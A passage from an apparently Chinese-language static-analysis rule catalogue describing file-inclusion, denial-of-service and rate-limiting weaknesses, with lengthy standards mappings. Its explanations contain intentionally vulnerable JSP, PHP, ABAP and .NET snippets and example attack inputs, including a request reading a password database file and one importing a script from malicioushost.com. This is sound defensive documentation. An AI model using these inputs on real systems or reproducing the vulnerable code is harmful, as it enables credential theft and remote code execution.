[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.dotnet.dangerous_file_inclusion
Abstract
如果允许未经验证的用户输入控制动态包含在 JSP 中的文件,会导致恶意代码的执行。
Explanation
许多现代网络编写语言都能够在一个封装的文件内包含附加的源文件,从而使代码可以重用和模块化。这种能力经常用于赋予应用程序标准外观(应用模板),因而,人们可以共享各种功能而不需要借助编译的代码,或将代码分解成较小的更好管理的文件。各个包含文件都会作为主文件的一部分进行解析,并采用相同的方式来执行。当未验证的用户输入控制了所包含文件的路径时,就会发生 File inclusion 漏洞。

例 1:以下代码是 Local File Inclusion 漏洞的示例。示例代码采用了用户指定的模板名称,并将该名称包含在要呈现的 JSP 页面中。

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

如果攻击者为动态包含指令指定一个有效文件,则该文件的内容会传送给将在页面上呈现的 JSP 解释器。

如果攻击者采用这种手段发起攻击,

specialpage.jsp?template=/WEB-INF/database/passwordDB

JSP 解释器就会将 /WEB-INF/database/passwordDB 文件的内容在 JSP 页面上呈现,从而对系统安全造成威胁。

更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。

示例 2:此示例代码会使用 c:import 标签将用户指定的远程文件导入当前的 JSP 页面。

...
<c:import url="<%= request.getParameter("privacy")%>">
...

这种攻击手段

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

可从被攻击者控制的远程站点将恶意代码注入当前 JSP 页面。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.java.dangerous_file_inclusion
Abstract
如果允许未验证的用户输入控制动态包含在 PHP 中的文件,会导致恶意代码的执行。
Explanation
许多现代网络编写语言都能够在一个封装的文件内包含附加的源文件,从而使代码可以重用和模块化。这种能力经常用于赋予应用程序标准外观(应用模板),因而,人们可以共享各种功能而不需要借助编译的代码,或将代码分解成较小的更好管理的文件。各个包含文件都会作为主文件的一部分进行解析,并采用相同的方式来执行。当未验证的用户输入控制了所包含文件的路径时,就会发生 File inclusion 漏洞。

File inclusion 漏洞是各种 PHP 应用程序中最多见且最为严重的漏洞。在低于 PHP 4.2.0 的版本中,PHP 的安装包附带了默认启用的 register_globals,从而使攻击者很容易重写内部服务器的各种变量。尽管禁用 register_globals 可以从一定程度上减少程序发生 file inclusion 漏洞的风险,但是这些问题仍然存在于各种现代的 PHP 应用程序中。

例 1:以下代码包含了一个文件,该文件位于模板中定义 $server_root 的应用程序下。


...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...


如果将 register_globals 设置为 on,攻击者可以通过提供 $server_root 请求参数覆盖 $server_root 值,从而部分控制动态 include 指令。

例 2:以下代码采用了用户指定的模板名称,并将该名称包含在要呈现的 PHP 页面中。


...
<?php include($_GET['headername']); ?$gt;
...


Example 2 中,攻击者可通过为 headername 提供恶意值来完全控制动态 include 语句,从而会使程序包含来自外部站点的文件。

如果攻击者给动态 include 指令指定有效文件,该文件的内容将被传送到 PHP 解释器。对于一个纯文本文件来说,如 /etc/shadow,该文件可能会作为 HTML 输出的一部分来呈现。更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。
References
[1] Using Register Globals PHP Guide
[2] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.php.dangerous_file_inclusion
Abstract
该方法已标注为危险。所有对此方法的使用都会标记为问题。
Explanation
已将注释 FortifyDangerous 应用于此方法。这被用来表示该类型危险,并且所有对其的使用都应进行安全性检查。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 749
[2] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[3] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.5.1 Validate HTTP Request Header Requirements (L1 L2 L3)
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[10] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[11] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[12] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[13] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
desc.structural.java.dangerous_method
Abstract
该变量属于已被注释为危险的类型。
Explanation
已将注释 FortifyDangerous 应用于此类型。这被用来表示该类型危险,并且所有对其的使用都应进行安全性检查。

References
[1] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[2] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[8] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[9] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[10] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
desc.structural.java.dangerous_class_variable
Abstract
攻击者可以造成程序崩溃或使合法用户无法进行使用。
Explanation
攻击者可能通过对应用程序发送大量请求,而使它拒绝对合法用户的服务,但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。通过这类 bug,攻击者可指定请求使用的系统资源数量,或者持续使用这些系统资源的时间,从而导致资源耗尽的情况发生。

示例 1:通过以下代码,用户可以指定当前工作进程处于休眠状态的时长。通过指定一个较大的数值,攻击者可以无限期地占用该工作进程。


...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.abap.denial_of_service
Abstract
应用程序使用客户端的远程 IP 地址创建 RateLimitPartition。
Explanation
基于客户端的 IP 地址创建 RateLimitPartitions 会使应用程序容易受到采用 IP 源地址欺骗的拒绝服务 (DDoS) 攻击。

示例 1:在以下示例中,GetTokenBucketLimiter() 方法在创建 RateLimitPartition 时使用远程 IP 地址 (RemoteIpAddress) 作为分区键:


...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {

IPAddress? ip = context.Connection.RemoteIpAddress;

return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
References
